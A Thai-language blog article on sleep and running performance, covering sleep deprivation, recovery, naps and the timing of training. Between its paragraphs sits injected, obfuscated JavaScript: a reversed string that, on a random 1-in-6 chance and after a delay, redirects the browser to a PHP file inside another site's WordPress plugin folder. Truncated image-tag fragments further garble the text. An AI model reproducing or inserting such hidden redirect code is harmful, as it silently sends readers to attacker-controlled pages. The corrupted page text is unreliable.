การนอนหลับพักผ่อน หนึ่งในวิธีที่ง่ายที่สุดในการช่วยเพิ่ม Running Performance เเต่ก็เป็นสิ่งที่นักวิ่งหลายคนมักมองข้าม หรือไม่ก็มีปัญหาในการนอนหลับพักผ่อน
การนอนหลับพักผ่อนไม่เพียงพอ จะทำให้เกิดสภาวะขาดนอนหลับ (Sleep deprivation) ส่งผลให้การรีดเอา Performance นักวิ่งลดลง สมาธิในการรับรู้เเละสั่งการเเย่ลง เเละที่สำคัญ ทำให้เหนื่อยง่ายมากขึ้น
นอกจากนี้ยังส่งผลต่อสภาวะอารมณ์เเละการรับประทานอาหารเช่นกัน ในคนที่เกิดสภาวะขาดการนอนหลับ สามารถรับเเคลอรี่เพิ่มเเบบไม่รู้ตัว
{if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])==)
to-1466761366829-84fd59a22e0b?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1051&q=80″ alt=””/>นอน วิธีง่ายๆ ที่จะช่วยเพิ่ม performance นักวิ่ง
ในวันที่ฝึกวิ่งหนัก เราเองก็ควรเพิ่มเวลานอนหลับพักผ่อนเพิ่มขึ้น อย่างเช่น วันที่ฝึกหนัก มีการฝึก Interval หรือการฝึกที่กินเวลาเกิน 60 นาทีขึ้นไป ก็ควรเพิ่มเวลานอนหลับเป็น 8-9 ชั่วโมง
ข้อดีข้อเสียของการนอนพักผ่อนที่เพียงพอเเละไม่เพียงพอ
- ช่วงเวลาที่นอนหลับพักผ่อน ร่างกายจะหลั่ง Growth Hormone ช่วยในการสร้างเเละซ้อมเเซมกล้ามเนื้อ
- ในกรณีที่อดหลับอดนอน ร่างกายจะหลัง Growth Hormone น้อยลง กล้ามเนื้อร่างกายเราก็จะอ่อนเเอ ฟื้นตัวช้าเเละบาดเจ็บได้ง่ายขึ้น
- การนอนทำให้ร่างกายสร้างโปรตีน สร้างเซล์ใหม่เเละซ่อมเเซมเนื้อเยื่อ เพิ่มประสิทธิภาพการทำงานระบบภูมิคุ้มกัน
- การขาดนอนประกอบกับการฝึกวิ่งที่สะสมกันมา ร่างกายเราจะเริ่มอ่อนเเอลงเเละป่วยไข้ได้ง่ายขึ้น การวิ่งก็เเย่ลง ร่างกายมีประสิทธิภาพในการเปลี่ยนไกลโคเจนเป็นพลังงานได้น้อยลง เเละอาการ Hit the wall ก็จะมาถึง
- การขาดนอนก็ยังทำให้เรามีอาการหิวโซมากขึ้นด้วย เกิดอาการกินมากขึ้น โอกาสอ้วนก็เกิดมากขึ้นตามมา
ในวันที่รู้สึกเหนื่อยมาก โดยสาเหตุเพราะการฝึกฝน เเนะนำให้มีการนอนงีบระหว่างวันเพิ่มเติม สัก 30 นาที หรือ 90 นาที จะช่วยต่อลมหายใจให้เราได้อยู่พอควร
to-1507141975227-b9e55279a1f7?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1000&q=80″ alt=””/>ใครที่ฝึกหนัก ก็เเนะนำให้เลื่อนมาฝึกตอนเช้า หลังจบก็ควรมีการหยุดพัก เเละค่อยเริ่มดำเนินการใช้ชีวิต การทำงานต่อไปเเละตกค่ำคืนเข้านอน ก็ให้บวกเวลานอนเพิ่มไป 90 นาที ให้การนอนมีคุณภาพมากขึ้น
เชื่อว่านักวิ่งทุกคนมีปัญหาในการนอนหลับ ยิ่งคนที่ฝึกหนักช่วงเย็น ถ้าไม่ทิ้งเวลาพักพอสมควร จะเกิดอาการ After burn ทำให้ร่างกาย Alert ตัวร้อนเเละนอนไม่หลับ ดังนั้นคำเเนะนำสำหรับมือใหม่ที่ออกฝึกวิ่ง เราเเนะนำให้ฝึกหนักช่วงเช้า เพื่อให้ระบบ Metabolism ทำงานดีตั้งเเต่เช้าจนจบวัน เเต่ในช่วงเย็นให้ฝึกเบาๆ
นักวิ่งวัยผู้ใหญ่ควรมีเวลานอนหลับประมาณ 7-9 ชั่วโมง เพื่อให้ได้เวลานอนตามนี้ ช่วงเย็นจึงควรมีการจัดเวลานอนหลับให้ชัดเจน ระวังเครื่องดื่มที่กาเฟอีนเเละปริมาณอาหาร เเนะนำว่าถ้ามีการกินมื้อดึก ก็ควรเว้นเวลาก่อนนอนสัก 2 ชั่วโมง
